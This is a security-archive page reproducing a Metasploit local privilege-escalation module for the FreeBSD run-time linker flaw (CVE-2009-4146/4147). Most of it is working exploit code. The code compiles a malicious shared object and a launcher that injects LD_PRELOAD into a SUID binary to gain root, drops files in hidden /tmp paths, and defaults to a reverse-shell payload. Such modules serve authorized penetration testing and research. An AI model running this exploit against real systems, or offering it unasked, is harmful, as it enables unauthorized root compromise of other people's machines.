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FreeBSD rtld execl() Privilege Escalation

FreeBSD rtld execl() Privilege Escalation
Posted May 22, 2019
Authored by stealth, Kingcope | Site metasploit.com

This Metasploit module exploits a vulnerability in the FreeBSD run-time link-editor (rtld). The rtld unsetenv() function fails to remove LD_* environment variables if __findenv() fails. This can be abused to load arbitrary shared objects using LD_PRELOAD, resulting in privileged code execution.

tags | exploit, arbitrary, code execution
systems | freebsd, bsd
advisories | CVE-2009-4146, CVE-2009-4147
MD5 | 8389e3a76ad8302ffe4213d460a38deb

FreeBSD rtld execl() Privilege Escalation

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'FreeBSD rtld execl() Privilege Escalation',
'Description' => %q{
This module exploits a vulnerability in the FreeBSD
run-time link-editor (rtld).

The rtld `unsetenv()` function fails to remove `LD_*`
environment variables if `__findenv()` fails.

This can be abused to load arbitrary shared objects using
`LD_PRELOAD`, resulting in privileged code execution.

This module has been tested successfully on:

FreeBSD 7.2-RELEASE (amd64); and
FreeBSD 8.0-RELEASE (amd64).
},
'License' => MSF_LICENSE,
'Author' =>
[
'Kingcope', # Independent discovery, public disclosure, and exploit
'stealth', # Discovery and exploit (4b1717926ed0d4823622011625fb1824)
'bcoles' # Metasploit (using Kingcope's exploit code [modified])
],
'DisclosureDate' => '2009-11-30',
'Platform' => ['bsd'], # FreeBSD
'Arch' =>
[
ARCH_X86,
ARCH_X64,
ARCH_ARMLE,
ARCH_AARCH64,
ARCH_PPC,
ARCH_MIPSLE,
ARCH_MIPSBE
],
'SessionTypes' => ['shell'],
'References' =>
[
['BID', '37154'],
['CVE', '2009-4146'],
['CVE', '2009-4147'],
['SOUNDTRACK', 'https://www.youtube.com/watch?v=dDnhthI27Fg'],
['URL', 'https://seclists.org/fulldisclosure/2009/Nov/371'],
['URL', 'https://c-skills.blogspot.com/2009/11/always-check-return-value.html'],
['URL', 'https://lists.freebsd.org/pipermail/freebsd-announce/2009-December/001286.html'],
['URL', 'https://xorl.wordpress.com/2009/12/01/freebsd-ld_preload-security-bypass/'],
['URL', 'https://securitytracker.com/id/1023250']
],
'Targets' => [['Automatic', {}]],
'DefaultOptions' =>
{
'PAYLOAD' => 'bsd/x86/shell_reverse_tcp',
'PrependSetresuid' => true,
'PrependSetresgid' => true,
'PrependFork' => true,
'WfsDelay' => 10
},
'DefaultTarget' => 0))
register_options [
OptString.new('SUID_EXECUTABLE', [ true, 'Path to a SUID executable', '/sbin/ping' ])
]
register_advanced_options [
OptBool.new('ForceExploit', [false, 'Override check result', false]),
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
]
end

def base_dir
datastore['WritableDir'].to_s
end

def suid_exe_path
datastore['SUID_EXECUTABLE']
end

def upload(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
register_file_for_cleanup path
end

def is_root?
(cmd_exec('id -u').to_s.gsub(/[^\d]/, '') == '0')
end

def check
kernel_release = cmd_exec('uname -r').to_s
unless kernel_release =~ /^(7\.[012]|8\.0)/
vprint_error "FreeBSD version #{kernel_release} is not vulnerable"
return CheckCode::Safe
end
vprint_good "FreeBSD version #{kernel_release} appears vulnerable"

unless command_exists? 'gcc'
vprint_error 'gcc is not installed'
return CheckCode::Safe
end
print_good 'gcc is installed'

unless setuid? suid_exe_path
vprint_error "#{suid_exe_path} is not setuid"
return CheckCode::Detected
end
vprint_good "#{suid_exe_path} is setuid"

CheckCode::Appears
end

def exploit
unless check == CheckCode::Appears
unless datastore['ForceExploit']
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
end
print_warning 'Target does not appear to be vulnerable'
end

if is_root?
unless datastore['ForceExploit']
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
end
end

unless writable? base_dir
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end

if base_dir.length > 1_000
fail_with Failure::BadConfig, "#{base_dir} path length #{base_dir.length} is larger than 1,000"
end

payload_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}"

executable_data = <<-EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
extern char **environ;
environ=NULL;
system("#{payload_path} &");
}
EOF

executable_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}"
upload "#{executable_path}.c", executable_data
output = cmd_exec "gcc -o #{executable_path}.o -c #{executable_path}.c -fPIC -Wall"
register_file_for_cleanup "#{executable_path}.o"

unless output.blank?
print_error output
fail_with Failure::Unknown, "#{executable_path}.c failed to compile"
end

lib_name = ".#{rand_text_alphanumeric 5..10}"
lib_path = "#{base_dir}/#{lib_name}"
output = cmd_exec "gcc -shared -Wall,-soname,#{lib_name}.0 #{executable_path}.o -o #{lib_path}.0 -nostartfiles"
register_file_for_cleanup "#{lib_path}.0"

unless output.blank?
print_error output
fail_with Failure::Unknown, "#{executable_path}.o failed to compile"
end

exploit_data = <<-EOF
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main() {
extern char **environ;
environ = (char**)calloc(8096, sizeof(char));

environ[0] = (char*)calloc(1024, sizeof(char));
environ[1] = (char*)calloc(1024, sizeof(char));
strcpy(environ[1], "LD_PRELOAD=#{lib_path}.0");

return execl("#{suid_exe_path}", "", (char *)0);
}
EOF

exploit_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}"
upload "#{exploit_path}.c", exploit_data
output = cmd_exec "gcc #{exploit_path}.c -o #{exploit_path} -Wall"
register_file_for_cleanup exploit_path

unless output.blank?
print_error output
fail_with Failure::Unknown, "#{exploit_path}.c failed to compile"
end

upload payload_path, generate_payload_exe
chmod payload_path

print_status 'Launching exploit...'
output = cmd_exec exploit_path
output.each_line { |line| vprint_status line.chomp }
end
end

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